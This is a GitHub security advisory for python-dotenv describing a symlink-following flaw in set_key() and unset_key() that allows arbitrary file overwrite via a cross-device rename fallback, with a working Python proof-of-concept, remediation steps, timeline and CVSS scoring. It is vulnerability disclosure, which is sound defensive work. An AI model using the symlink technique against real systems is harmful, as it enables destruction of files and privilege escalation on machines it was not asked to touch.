Symlink following in set_key allows arbitrary file overwrite via cross-device rename fallback

Moderate **theskumar** published **GHSA-mf9w-mj56-hr94** yesterday

Package

python-dotenv (pip)

Affected versions	Patched versions
<1.2.1	1.2.2

Description

Summary

`set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.

Details

The `rewrite()` context manager in `dotenv/main.py` is used by both `set_key()` and `unset_key()` to safely modify `.env` files. It works by writing to a temporary file (created in the system's default temp directory, typically `/tmp`) and then using `shutil.move()` to replace the original file.

When the `.env` path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for `/tmp`), the following sequence occurs:

1. `shutil.move()` first attempts `os.rename()`, which fails with an `OSError` because atomic renames cannot cross device boundaries.
2. On failure, `shutil.move()` falls back to `shutil.copy2()` followed by `os.unlink()`.
3. `shutil.copy2()` calls `shutil.copyfile()` with `follow_symlinks=True` by default.
4. This causes the content to be written to the **symlink target** rather than replacing the symlink itself.

An attacker who has write access to the directory containing a `.env` file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls `set_key()` or `unset_key()`, the symlink target is overwritten with the new `.env` content.

This vulnerability does not require a race condition and is fully deterministic once the preconditions are met.

Impact

The primary impacts are to **integrity** and **availability**:

- **File overwrite / destruction (DoS):** An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.
- **Integrity violation:** The target file's original content is replaced with `.env`-formatted content controlled by the attacker.
- **Potential privilege escalation:** In scenarios where a privileged process (running as root or a service account) calls `set_key()`, the attacker can leverage this to write to files beyond their own access level.

The scope of impact depends on the application using python-dotenv and the privileges under which it runs.

Proof of Concept

The following script demonstrates the vulnerability. It requires `/tmp` and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).

```
import os
import sys
import tempfile
from dotenv import set_key

# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device

with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
    # File an attacker wants to overwrite
    target = os.path.join(workdir, "victim_config.txt")
    with open(target, "w") as f:
        f.write("DB_PASSWORD=supersecret\n")

    # Attacker pre-places a symlink at the path the application will use as .env
    env_symlink = os.path.join(workdir, ".env")
    os.symlink(target, env_symlink)

    before = open(target).read()
```

```
    # Application writes a new key -- triggers the cross-device fallback
    set_key(env_symlink, "INJECTED", "attacker_value")

    after = open(target).read()

    print("Before:", repr(before))
    print("After: ", repr(after))
    print("Symlink target overwritten:", target)
```

Expected output:

```
Before: 'DB_PASSWORD=supersecret\n'
After:  "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n"
Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt
```

Remediation

The fix changes the `rewrite()` context manager in the following ways:

1. **Symlinks are no longer followed by default.** When the `.env` path is a symlink, `rewrite()` now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target.
2. **A `follow_symlinks: bool = False` parameter** is added to `set_key()` and `unset_key()` for users who explicitly need the old behavior.
3. **Temp files are written in the same directory** as the target `.env` file (instead of the system temp directory), eliminating the cross-device rename condition entirely.
4. **`os.replace()` is used instead of `shutil.move()`**, providing atomic replacement without symlink-following fallback behavior.

Users are advised to upgrade to the patched version as soon as it is available on PyPI.

Timeline

Date	Event
2026-01-09	Initial report received from Giorgos Tsigourakos regarding a separate, unrelated issue also located in `rewrite()`
2026-01-10	Co-maintainer acknowledged report, requested clarification
2026-01-11	Initial report assessed as not exploitable and closed
2026-02-24	Reporter identified new, distinct cross-device symlink attack vector with deterministic exploitation

Date	Event
2026-02-26	Co-maintainer confirmed vulnerability and shared draft patch
2026-02-26	Reporter validated fix with monkeypatched PoC, proposed CVSS
2026-03-01	Patch merged to main
2026-03-01	Patched version released to PyPI
2026-04-20	Advisory published

Patches

Upgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch

Severity

Moderate 6.6 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

CVE ID

CVE-2026-28684

Weaknesses

- ▶ CWE-59
- ▶ CWE-61

Credits

tsigouris007	Reporter
bbc2	Remediation developer